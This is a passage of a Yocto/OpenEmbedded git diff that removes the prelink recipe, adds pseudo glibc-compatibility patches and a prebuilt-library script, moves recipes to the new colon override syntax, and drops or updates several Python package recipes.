- replace_lines("${S}/src/arch-i386.c", "/lib/ld-linux.so.2", "/" + tune_baselib + "/ld-linux.so.2", d)
- if bits == 32 and tune_baselib != "lib":
- replace_lines_rtld("${S}/src/rtld/rtld.c", "lib", tune_baselib, "else", d)
- if bits == 64 and tune_baselib != "lib64":
- replace_lines_rtld("${S}/src/rtld/rtld.c", "lib64", tune_baselib, "use_64bit", d)
-}
-
-python () {
- overrides = d.getVar("OVERRIDES").split(":")
- if "class-target" in overrides:
- bb.build.addtask('do_linkerpaths', 'do_configure', 'do_patch', d)
-}
-
-do_configure_prepend () {
- # Disable documentation!
- echo "all:" > ${S}/doc/Makefile.am
-}
-
-do_install_append () {
- install -d ${D}${sysconfdir}/cron.daily ${D}${sysconfdir}/default ${D}${sysconfdir}/rpm
- install -m 0644 ${WORKDIR}/prelink.conf ${D}${sysconfdir}/prelink.conf
- install -m 0644 ${WORKDIR}/prelink.cron.daily ${D}${sysconfdir}/cron.daily/prelink
- install -m 0644 ${WORKDIR}/prelink.default ${D}${sysconfdir}/default/prelink
- install -m 0644 ${WORKDIR}/macros.prelink ${D}${sysconfdir}/rpm/macros.prelink
-}
-
-# If we ae doing a cross install, we want to avoid prelinking.
-# Prelinking during a cross install should be handled by the image-prelink
-# bbclass. If the user desires this to run on the target at first boot
-# they will need to create a custom boot script.
-pkg_postinst_prelink() {
-#!/bin/sh
-
-if [ "x$D" != "x" ]; then
- exit 0
-fi
-
-prelink -a
-}
-
-pkg_prerm_prelink() {
-#!/bin/sh
-
-if [ "x$D" != "x" ]; then
- exit 1
-fi
-
-prelink -au
-}
-
diff --git a/meta/recipes-devtools/pseudo/files/build-oldlibc b/meta/recipes-devtools/pseudo/files/build-oldlibc
new file mode 100755
index 0000000000..85c438de4e
--- /dev/null
+++ b/meta/recipes-devtools/pseudo/files/build-oldlibc
@@ -0,0 +1,20 @@
+#!/bin/sh
+#
+# Script to re-generate pseudo-prebuilt-2.33.tar.xz
+#
+# Copyright (C) 2021 Richard Purdie
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+for i in x86_64 aarch64 i686; do
+ if [ ! -e $i-nativesdk-libc.tar.xz ]; then
+ wget http://downloads.yoctoproject.org/releases/uninative/3.2/$i-nativesdk-libc.tar.xz
+ fi
+ tar -xf $i-nativesdk-libc.tar.xz --wildcards \*/lib/libpthread\* \*/lib/libdl\*
+ cd $i-linux/lib
+ ln -s libdl.so.2 libdl.so
+ ln -s libpthread.so.0 libpthread.so
+ cd ../..
+done
+tar -cJf pseudo-prebuilt-2.33.tar.xz *-linux \ No newline at end of file
diff --git a/meta/recipes-devtools/pseudo/files/glibc238.patch b/meta/recipes-devtools/pseudo/files/glibc238.patch
new file mode 100644
index 0000000000..da4b8caee3
--- /dev/null
+++ b/meta/recipes-devtools/pseudo/files/glibc238.patch
@@ -0,0 +1,59 @@
+glibc 2.38 would include __isoc23_strtol and similar symbols. This is trggerd by
+_GNU_SOURCE but we have to set that for other definitions. Therefore play with defines
+to turn this off within pseudo_wrappers.c. Elsewhere we can switch to _DEFAULT_SOURCE
+rather than _GNU_SOURCE.
+
+Upstream-Status: Pending
+
+Index: git/pseudo_wrappers.c
+===================================================================
+--- git.orig/pseudo_wrappers.c
++++ git/pseudo_wrappers.c
+@@ -6,6 +6,15 @@
+ * SPDX-License-Identifier: LGPL-2.1-only
+ *
+ */
++/* glibc 2.38 would include __isoc23_strtol and similar symbols. This is trggerd by
++ * _GNU_SOURCE but we have to set that for other definitions. Therefore play with defines
++ * to turn this off.
++ */
++#include <features.h>
++#undef __GLIBC_USE_ISOC2X
++#undef __GLIBC_USE_C2X_STRTOL
++#define __GLIBC_USE_C2X_STRTOL 0
++
+ #include <assert.h>
+ #include <stdlib.h>
+ #include <limits.h>
+Index: git/pseudo_util.c
+===================================================================
+--- git.orig/pseudo_util.c
++++ git/pseudo_util.c
+@@ -8,6 +8,14 @@
+ */
+ /* we need access to RTLD_NEXT for a horrible workaround */
+ #define _GNU_SOURCE
++/* glibc 2.38 would include __isoc23_strtol and similar symbols. This is trggerd by
++ * _GNU_SOURCE but we have to set that for other definitions. Therefore play with defines
++ * to turn this off.
++ */
++#include <features.h>
++#undef __GLIBC_USE_ISOC2X
++#undef __GLIBC_USE_C2X_STRTOL
++#define __GLIBC_USE_C2X_STRTOL 0
+
+ #include <ctype.h>
+ #include <errno.h>
+Index: git/pseudo_client.c
+===================================================================
+--- git.orig/pseudo_client.c
++++ git/pseudo_client.c
+@@ -6,7 +6,7 @@
+ * SPDX-License-Identifier: LGPL-2.1-only
+ *
+ */
+-#define _GNU_SOURCE
++#define _DEFAULT_SOURCE
+
+ #include <stdio.h>
+ #include <signal.h>
diff --git a/meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch b/meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch
new file mode 100644
index 0000000000..c453b5f735
--- /dev/null
+++ b/meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch
@@ -0,0 +1,57 @@
+If we link against a newer glibc 2.34 and then try and our LD_PRELOAD is run against a
+binary on a host with an older libc, we see symbol errors since in glibc 2.34, pthread
+and dl are merged into libc itself.
+
+We need to use the older form of linking so use glibc binaries from an older release
+to force this. We only use minimal symbols from these anyway.
+
+pthread_atfork is problematic, particularly on arm so use the internal glibc routine
+it maps too. This was always present in the main libc from 2.3.2 onwards.
+
+Yes this is horrible. Better solutions welcome.
+
+There is more info in the bug: [YOCTO #14521]
+
+Upstream-Status: Inappropriate [this patch is native and nativesdk]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Tweak library search order, make prebuilt lib ahead of recipe lib
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+---
+ Makefile.in | 2 +-
+ pseudo_wrappers.c | 5 ++++-
+ 2 files changed, 5 insertions(+), 2 deletions(-)
+
+diff --git a/Makefile.in b/Makefile.in
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -120,7 +120,7 @@ $(PSEUDODB): pseudodb.o $(SHOBJS) $(DBOBJS) pseudo_ipc.o | $(BIN)
+ libpseudo: $(LIBPSEUDO)
+
+ $(LIBPSEUDO): $(WRAPOBJS) pseudo_client.o pseudo_ipc.o $(SHOBJS) | $(LIB)
+- $(CC) $(CFLAGS) $(CFLAGS_PSEUDO) -shared -o $(LIBPSEUDO) \
++ $(CC) $(CFLAGS) -Lprebuilt/$(shell uname -m)-linux/lib/ $(CFLAGS_PSEUDO) -shared -o $(LIBPSEUDO) \
+ pseudo_client.o pseudo_ipc.o \
+ $(WRAPOBJS) $(SHOBJS) $(LDFLAGS) $(CLIENT_LDFLAGS)
+
+diff --git a/pseudo_wrappers.c b/pseudo_wrappers.c
+--- a/pseudo_wrappers.c
++++ b/pseudo_wrappers.c
+@@ -100,10 +100,13 @@ static void libpseudo_atfork_child(void)
+ pseudo_mutex_holder = 0;
+ }
+
++extern void *__dso_handle;
++extern int __register_atfork (void (*) (void), void (*) (void), void (*) (void), void *);
++
+ static void
+ _libpseudo_init(void) {
+ if (!_libpseudo_initted)
+- pthread_atfork(NULL, NULL, libpseudo_atfork_child);
++ __register_atfork (NULL, NULL, libpseudo_atfork_child, &__dso_handle == NULL ? NULL : __dso_handle);
+
+ pseudo_getlock();
+ pseudo_antimagic();
+--
+2.27.0
+
diff --git a/meta/recipes-devtools/pseudo/pseudo.inc b/meta/recipes-devtools/pseudo/pseudo.inc
index 50e30064bd..7e09b6d58c 100644
--- a/meta/recipes-devtools/pseudo/pseudo.inc
+++ b/meta/recipes-devtools/pseudo/pseudo.inc
@@ -4,19 +4,20 @@
SUMMARY = "Pseudo gives fake root capabilities to a normal user"
HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/pseudo"
+DESCRIPTION = "The pseudo utility offers a way to run commands in a virtualized root environment."
LIC_FILES_CHKSUM = "file://COPYING;md5=a1d8023a6f953ac6ea4af765ff62d574"
SECTION = "base"
-LICENSE = "LGPL2.1"
+LICENSE = "LGPL-2.1-only"
DEPENDS = "sqlite3 attr"
-FILES_${PN} = "${prefix}/lib/pseudo/lib*/libpseudo.so ${bindir}/* ${localstatedir}/pseudo ${prefix}/var/pseudo"
-INSANE_SKIP_${PN} += "libdir"
-INSANE_SKIP_${PN}-dbg += "libdir"
+FILES:${PN} = "${prefix}/lib/pseudo/lib*/libpseudo.so ${bindir}/* ${localstatedir}/pseudo ${prefix}/var/pseudo"
+INSANE_SKIP:${PN} += "libdir"
+INSANE_SKIP:${PN}-dbg += "libdir"
PROVIDES += "virtual/fakeroot"
MAKEOPTS = ""
-MAKEOPTS_class-native = "'RPATH=-Wl,--rpath=XORIGIN/../../../sqlite3-native/usr/lib/'"
+MAKEOPTS:class-native = "'RPATH=-Wl,--rpath=XORIGIN/../../../sqlite3-native/usr/lib/'"
inherit siteinfo pkgconfig
@@ -25,7 +26,7 @@ do_configure () {
}
NO32LIBS ??= "1"
-NO32LIBS_class-nativesdk = "1"
+NO32LIBS:class-nativesdk = "1"
PSEUDO_EXTRA_OPTS ?= "--enable-force-async --without-passwd-fallback --enable-epoll --enable-xattr"
@@ -78,7 +79,7 @@ warn_32bit_missing() {
# Two below are the same
# If necessary compile for the alternative machine arch. This is only
# necessary in a native build.
-do_compile_prepend_class-native () {
+do_compile:prepend:class-native () {
maybe_make32
if $make32; then
# We need the 32-bit libpseudo on a 64-bit machine...
@@ -99,7 +100,7 @@ do_compile_prepend_class-native () {
fi
}
-do_compile_prepend_class-nativesdk () {
+do_compile:prepend:class-nativesdk () {
maybe_make32
if $make32; then
# We need the 32-bit libpseudo on a 64-bit machine.
@@ -111,11 +112,24 @@ do_compile_prepend_class-nativesdk () {
fi
}
+do_compile:append:class-native () {
+ if [ '${@bb.data.inherits_class('uninative', d)}' = 'True' ]; then
+ for i in PSEUDO_PORT_UNIX_SYNCFS PSEUDO_PORT_UIDS_GENERIC PSEUDO_PORT_LINUX_NEWCLONE PSEUDO_PORT_LINUX_XATTR PSEUDO_PORT_LINUX_STATVFS; do
+ grep $i.1 ${S}/pseudo_ports.h
+ if [ $? != 0 ]; then
+ echo "$i not enabled in pseudo which is incompatible with uninative"
+ exit 1
+ fi
+ done
+ fi
+}
+
+
do_install () {
oe_runmake 'DESTDIR=${D}' ${MAKEOPTS} 'LIB=lib/pseudo/lib$(MARK64)' install
}
-do_install_append_class-native () {
+do_install:append:class-native () {
chrpath ${D}${bindir}/pseudo -r `chrpath ${D}${bindir}/pseudo | cut -d = -f 2 | sed s/XORIGIN/\\$ORIGIN/`
install -d ${D}${sysconfdir}
# The fallback files should never be modified
@@ -132,7 +146,7 @@ do_install_append_class-native () {
fi
}
-do_install_append_class-nativesdk () {
+do_install:append:class-nativesdk () {
maybe_make32
if $make32; then
mkdir -p ${D}${prefix}/lib/pseudo/lib
diff --git a/meta/recipes-devtools/pseudo/pseudo_git.bb b/meta/recipes-devtools/pseudo/pseudo_git.bb
index 9a22304bba..c70b509233 100644
--- a/meta/recipes-devtools/pseudo/pseudo_git.bb
+++ b/meta/recipes-devtools/pseudo/pseudo_git.bb
@@ -1,14 +1,29 @@
require pseudo.inc
-SRC_URI = "git://git.yoctoproject.org/pseudo;branch=oe-core \
+SRC_URI = "git://git.yoctoproject.org/pseudo;branch=master;protocol=https \
file://0001-configure-Prune-PIE-flags.patch \
+ file://glibc238.patch \
file://fallback-passwd \
file://fallback-group \
"
+SRC_URI:append:class-native = " \
+ http://downloads.yoctoproject.org/mirror/sources/pseudo-prebuilt-2.33.tar.xz;subdir=git/prebuilt;name=prebuilt \
+ file://older-glibc-symbols.patch"
+SRC_URI:append:class-nativesdk = " \
+ http://downloads.yoctoproject.org/mirror/sources/pseudo-prebuilt-2.33.tar.xz;subdir=git/prebuilt;name=prebuilt \
+ file://older-glibc-symbols.patch"
+SRC_URI[prebuilt.sha256sum] = "ed9f456856e9d86359f169f46a70ad7be4190d6040282b84c8d97b99072485aa"
-SRCREV = "8efb082863ff0ceec7b7e46f9a44750e12f48039"
+SRCREV = "0d292df61aeb886ae8ca33d9edc3b6d0ff5c0f0f"
S = "${WORKDIR}/git"
-PV = "1.9.0+git${SRCPV}"
+PV = "1.9.0+git"
+
+# largefile and 64bit time_t support adds these macros via compiler flags globally
+# remove them for pseudo since pseudo intercepts some of the functions which will be
+# aliased due to this e.g. open/open64 and it will complain about duplicate definitions
+# pseudo on 32bit systems is not much of use anyway and these features are not of much
+# use for it.
+TARGET_CC_ARCH:remove = "-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_TIME_BITS=64"
# error: use of undeclared identifier '_STAT_VER'
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-devtools/python-numpy/python-numpy.inc b/meta/recipes-devtools/python-numpy/python-numpy.inc
deleted file mode 100644
index e37ab399ed..0000000000
--- a/meta/recipes-devtools/python-numpy/python-numpy.inc
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "A sophisticated Numeric Processing Package for Python"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause & BSD-2-Clause & PSF & Apache-2.0 & BSD & MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=643d4e90100b7abe468c4db88127b895"
-
-SRCNAME = "numpy"
-
-SRC_URI = "https://github.com/${SRCNAME}/${SRCNAME}/releases/download/v${PV}/${SRCNAME}-${PV}.tar.gz \
- file://0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch \
- "
-SRC_URI[sha256sum] = "153cf8b0176e57a611931981acfe093d2f7fef623b48f91176efa199798a6b90"
-
-UPSTREAM_CHECK_URI = "https://github.com/numpy/numpy/releases"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-DEPENDS += "python3-cython-native"
-
-S = "${WORKDIR}/numpy-${PV}"
-
-CLEANBROKEN = "1"
-
-FILES_${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/numpy/core/lib/*.a ${PYTHON_SITEPACKAGES_DIR}/numpy/random/lib/*.a"
-
-# install what is needed for numpy.test()
-RDEPENDS_${PN} = "${PYTHON_PN}-unittest \
- ${PYTHON_PN}-difflib \
- ${PYTHON_PN}-pprint \
- ${PYTHON_PN}-pickle \
- ${PYTHON_PN}-shell \
- ${PYTHON_PN}-nose \
- ${PYTHON_PN}-doctest \
- ${PYTHON_PN}-datetime \
- ${PYTHON_PN}-distutils \
- ${PYTHON_PN}-misc \
- ${PYTHON_PN}-mmap \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-numbers \
- ${PYTHON_PN}-pydoc \
- ${PYTHON_PN}-pkgutil \
- ${PYTHON_PN}-email \
- ${PYTHON_PN}-compression \
- ${PYTHON_PN}-ctypes \
- ${PYTHON_PN}-threading \
- ${PYTHON_PN}-multiprocessing \
-"
-
-RDEPENDS_${PN}_class-native = ""
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python-numpy/python3-numpy_1.19.0.bb b/meta/recipes-devtools/python-numpy/python3-numpy_1.19.0.bb
deleted file mode 100644
index d388e88d25..0000000000
--- a/meta/recipes-devtools/python-numpy/python3-numpy_1.19.0.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-inherit setuptools3
-require python-numpy.inc
-
diff --git a/meta/recipes-devtools/python/python-async.inc b/meta/recipes-devtools/python/python-async.inc
deleted file mode 100644
index af887dc4e5..0000000000
--- a/meta/recipes-devtools/python/python-async.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-SUMMARY = "Python framework to process interdependent tasks in a pool of workers"
-HOMEPAGE = "http://github.com/gitpython-developers/async"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=88df8e78b9edfd744953862179f2d14e"
-
-inherit pypi
-
-SRC_URI[md5sum] = "9b06b5997de2154f3bc0273f80bcef6b"
-SRC_URI[sha256sum] = "ac6894d876e45878faae493b0cf61d0e28ec417334448ac0a6ea2229d8343051"
-
-RDEPENDS_${PN} += "${PYTHON_PN}-threading"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-cython.inc b/meta/recipes-devtools/python/python-cython.inc
index b1e71f3ccd..2235aa9332 100644
--- a/meta/recipes-devtools/python/python-cython.inc
+++ b/meta/recipes-devtools/python/python-cython.inc
@@ -1,40 +1,45 @@
+SUMMARY = "The Cython language"
+HOMEPAGE = "https://pypi.org/project/Cython/"
DESCRIPTION = "Cython is a language specially designed for writing Python extension modules. \
It's designed to bridge the gap between the nice, high-level, easy-to-use world of Python \
and the messy, low-level world of C."
SECTION = "devel/python"
LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e23fadd6ceef8c618fc1c65191d846fa"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=61c3ee8961575861fa86c7e62bc9f69c"
PYPI_PACKAGE = "Cython"
BBCLASSEXTEND = "native nativesdk"
-SRC_URI[sha256sum] = "e57acb89bd55943c8d8bf813763d20b9099cc7165c0f16b707631a7654be9cad"
+SRC_URI[sha256sum] = "a2d354f059d1f055d34cfaa62c5b68bc78ac2ceab6407148d47fb508cf3ba4f3"
UPSTREAM_CHECK_REGEX = "Cython-(?P<pver>.*)\.tar"
inherit pypi
-RDEPENDS_${PN}_class-target += "\
- ${PYTHON_PN}-misc \
- ${PYTHON_PN}-netserver \
- ${PYTHON_PN}-pkgutil \
- ${PYTHON_PN}-pyparsing \
- ${PYTHON_PN}-setuptools \
- ${PYTHON_PN}-shell \
- ${PYTHON_PN}-xml \
+RDEPENDS:${PN}:class-target += "\
+ python3-misc \
+ python3-netserver \
+ python3-pkgutil \
+ python3-pyparsing \
+ python3-setuptools \
+ python3-shell \
+ python3-xml \
"
-RDEPENDS_${PN}_class-nativesdk += "\
- nativesdk-${PYTHON_PN}-misc \
- nativesdk-${PYTHON_PN}-netserver \
- nativesdk-${PYTHON_PN}-pkgutil \
- nativesdk-${PYTHON_PN}-pyparsing \
- nativesdk-${PYTHON_PN}-setuptools \
- nativesdk-${PYTHON_PN}-shell \
- nativesdk-${PYTHON_PN}-xml \
+RDEPENDS:${PN}:class-nativesdk += "\
+ nativesdk-python3-misc \
+ nativesdk-python3-netserver \
+ nativesdk-python3-pkgutil \
+ nativesdk-python3-pyparsing \
+ nativesdk-python3-setuptools \
+ nativesdk-python3-shell \
+ nativesdk-python3-xml \
"
-do_install_append() {
+do_install:append() {
# Make sure we use /usr/bin/env python
for PYTHSCRIPT in `grep -rIl '^#!.*python' ${D}`; do
- sed -i -e '1s|^#!.*|#!/usr/bin/env ${PYTHON_PN}|' $PYTHSCRIPT
+ sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' $PYTHSCRIPT
done
+
+ # remove build paths from generated sources
+ sed -i -e 's|${WORKDIR}||' ${S}/Cython/*.c ${S}/Cython/Compiler/*.c ${S}/Cython/Plex/*.c
}
diff --git a/meta/recipes-devtools/python/python-gitdb.inc b/meta/recipes-devtools/python/python-gitdb.inc
deleted file mode 100644
index 618d85ff8d..0000000000
--- a/meta/recipes-devtools/python/python-gitdb.inc
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "A pure-Python git object database"
-HOMEPAGE = "http://github.com/gitpython-developers/gitdb"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=59e5ecb13339a936eedf83282eaf4528"
-
-inherit pypi
-
-PYPI_PACKAGE = "gitdb"
-
-SRC_URI[sha256sum] = "c9e1f2d0db7ddb9a704c2a0217be31214e91a4fe1dea1efad19ae42ba0c285c9"
-
-DEPENDS = "${PYTHON_PN}-async ${PYTHON_PN}-setuptools-native ${PYTHON_PN}-smmap"
-
-RDEPENDS_${PN} += "${PYTHON_PN}-async \
- ${PYTHON_PN}-compression \
- ${PYTHON_PN}-crypt \
- ${PYTHON_PN}-io \
- ${PYTHON_PN}-mmap \
- ${PYTHON_PN}-shell \
- ${PYTHON_PN}-smmap \
-"
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-nose.inc b/meta/recipes-devtools/python/python-nose.inc
deleted file mode 100644
index ccec68a0e1..0000000000
--- a/meta/recipes-devtools/python/python-nose.inc
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Extends Python unittest to make testing easier"
-HOMEPAGE = "http://readthedocs.org/docs/nose/"
-DESCRIPTION = "nose extends the test loading and running features of unittest, \
-making it easier to write, find and run tests."
-SECTION = "devel/python"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://lgpl.txt;md5=a6f89e2100d9b6cdffcea4f398e37343"
-
-SRC_URI[md5sum] = "4d3ad0ff07b61373d2cefc89c5d0b20b"
-SRC_URI[sha256sum] = "f1bffef9cbc82628f6e7d7b40d7e255aefaa1adb6a1b1d26c69a8b79e6208a98"
-
-inherit pypi
-
-RDEPENDS_${PN} = "\
- ${PYTHON_PN}-unittest \
- "
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-pbr.inc b/meta/recipes-devtools/python/python-pbr.inc
index bc470e7274..f08d9fd381 100644
--- a/meta/recipes-devtools/python/python-pbr.inc
+++ b/meta/recipes-devtools/python/python-pbr.inc
@@ -9,6 +9,6 @@ SRC_URI += "file://0001-change-shebang-to-python3.patch"
inherit pypi
-RDEPENDS_${PN} += "${PYTHON_PN}-pip"
+RDEPENDS:${PN} += "python3-pip"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-pyasn1.inc b/meta/recipes-devtools/python/python-pyasn1.inc
new file mode 100644
index 0000000000..7b269f2940
--- /dev/null
+++ b/meta/recipes-devtools/python/python-pyasn1.inc
@@ -0,0 +1,31 @@
+SUMMARY = "Python library implementing ASN.1 types."
+HOMEPAGE = "http://pyasn1.sourceforge.net/"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=190f79253908c986e6cacf380c3a5f6d"
+
+SRC_URI[sha256sum] = "3a35ab2c4b5ef98e17dfdec8ab074046fbda76e281c5a706ccd82328cfc8f64c"
+
+RDEPENDS:${PN}:class-target += " \
+ python3-codecs \
+ python3-logging \
+ python3-math \
+ python3-shell \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit ptest
+
+SRC_URI += " \
+ file://run-ptest \
+ "
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
diff --git a/meta/recipes-devtools/python/python-pycryptodome.inc b/meta/recipes-devtools/python/python-pycryptodome.inc
index 68b084eb04..8d9b6d911e 100644
--- a/meta/recipes-devtools/python/python-pycryptodome.inc
+++ b/meta/recipes-devtools/python/python-pycryptodome.inc
@@ -3,22 +3,26 @@ DESCRIPTION = "PyCryptodome is a self-contained Python package of low-level\
cryptographic primitives."
HOMEPAGE = "http://www.pycryptodome.org"
LICENSE = "PD & BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=6dc0e2a13d2f25d6f123c434b761faba"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=29242a70410a4eeff488a28164e7ab93"
inherit pypi
-RDEPENDS_${PN} += " \
- ${PYTHON_PN}-io \
- ${PYTHON_PN}-math \
+PYPI_PACKAGE_EXT = "tar.gz"
+
+RDEPENDS:${PN} += " \
+ python3-cffi \
+ python3-ctypes \
+ python3-io \
+ python3-math \
"
-RDEPENDS_${PN}-tests += " \
- ${PYTHON_PN}-unittest \
+RDEPENDS:${PN}-tests += " \
+ python3-unittest \
"
PACKAGES =+ "${PN}-tests"
-FILES_${PN}-tests = " \
+FILES:${PN}-tests = " \
${PYTHON_SITEPACKAGES_DIR}/Crypto/SelfTest/ \
${PYTHON_SITEPACKAGES_DIR}/Crypto/SelfTest/__pycache__/ \
"
diff --git a/meta/recipes-devtools/python/python-pyparsing.inc b/meta/recipes-devtools/python/python-pyparsing.inc
deleted file mode 100644
index 348b324bf5..0000000000
--- a/meta/recipes-devtools/python/python-pyparsing.inc
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Python parsing module"
-HOMEPAGE = "http://pyparsing.wikispaces.com/"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=657a566233888513e1f07ba13e2f47f1"
-
-SRC_URI[md5sum] = "f0953e47a0112f7a65aec2305ffdf7b4"
-SRC_URI[sha256sum] = "c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1"
-UPSTREAM_CHECK_REGEX = "pyparsing-(?P<pver>.*)\.tar"
-
-inherit pypi
-
-RDEPENDS_${PN} += " \
- ${PYTHON_PN}-datetime \
- ${PYTHON_PN}-debugger \
- ${PYTHON_PN}-json \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-pprint \
- ${PYTHON_PN}-stringold \
- ${PYTHON_PN}-threading \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch b/meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch
new file mode 100644
index 0000000000..8a646874e8
--- /dev/null
+++ b/meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch
@@ -0,0 +1,32 @@
+From 3531ff73631a0d59234eb4713e7b3a7f5ea57bbb Mon Sep 17 00:00:00 2001
+From: Nicola Lunghi <nicola.lunghi@jci.com>
+Date: Thu, 14 Nov 2019 12:17:51 +0000
+Subject: [PATCH] setup.py: move pytest-runner to test_requirements
+
+This fixes an issue with yocto build.
+pytest-runner is only needed when running tests.
+
+Upstream-Status: Pending
+---
+ setup.py | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index 53ebea7..ebb0de2 100644
+--- a/setup.py
++++ b/setup.py
+@@ -10,9 +10,9 @@ with open('README.md') as readme_file:
+
+ requirements = []
+
+-setup_requirements = ['pytest-runner', ]
++setup_requirements = []
+
+-test_requirements = ['pytest>=3', ]
++test_requirements = ['pytest>=3', 'pytest-runner']
+
+ setup(
+ author="Nicolas Aimetti",
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/python/python-six.inc b/meta/recipes-devtools/python/python-six.inc
index df97f845bc..6b1b4ba481 100644
--- a/meta/recipes-devtools/python/python-six.inc
+++ b/meta/recipes-devtools/python/python-six.inc
@@ -6,6 +6,6 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=43cfc9e4ac0e377acfb9b76f56b8415d"
inherit pypi
-RDEPENDS_${PN} = "${PYTHON_PN}-io"
+RDEPENDS:${PN} = "python3-io"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-smmap.inc b/meta/recipes-devtools/python/python-smmap.inc
deleted file mode 100644
index 7703722bca..0000000000
--- a/meta/recipes-devtools/python/python-smmap.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "Python implementation of a sliding window memory map manager"
-DESCRIPTION = "A pure Python implementation of a sliding memory map to \
-help unifying memory mapped access on 32 and 64 bit systems and to help \
-managing resources more efficiently."
-HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=e910b35b0ef4e1f665b9a75d6afb7709"
-
-inherit pypi
-
-PYPI_PACKAGE = "smmap"
-
-SRC_URI[sha256sum] = "9c98bbd1f9786d22f14b3d4126894d56befb835ec90cef151af566c7e19b5d24"
-
-RDEPENDS_${PN} += "${PYTHON_PN}-codecs \
- ${PYTHON_PN}-mmap \
-"
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-subunit.inc b/meta/recipes-devtools/python/python-subunit.inc
deleted file mode 100644
index a2f9c5c3ff..0000000000
--- a/meta/recipes-devtools/python/python-subunit.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-SUMMARY = "Python implementation of subunit test streaming protocol"
-HOMEPAGE = "https://pypi.org/project/python-subunit/"
-SECTION = "devel/python"
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://README.rst;beginline=1;endline=20;md5=909c08e291647fd985fbe5d9836d51b6"
-
-PYPI_PACKAGE = "python-subunit"
-
-SRC_URI[md5sum] = "30f1ab20651d94442dd9a7f8c9e8d633"
-SRC_URI[sha256sum] = "042039928120fbf392e8c983d60f3d8ae1b88f90a9f8fd7188ddd9c26cad1e48"
-
-inherit pypi
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/python/python-testtools.inc b/meta/recipes-devtools/python/python-testtools.inc
deleted file mode 100644
index e8d308b717..0000000000
--- a/meta/recipes-devtools/python/python-testtools.inc
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Extensions to the Python standard library unit testing framework"
-HOMEPAGE = "https://pypi.org/project/testtools/"
-SECTION = "devel/python"
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e2c9d3e8ba7141c83bfef190e0b9379a"
-
-inherit pypi
-
-SRC_URI[md5sum] = "e8fc7185b47cfb908c641f8c4b2a6add"
-SRC_URI[sha256sum] = "64c974a6cca4385d05f4bbfa2deca1c39ce88ede31c3448bee86a7259a9a61c8"
-
-DEPENDS += " \
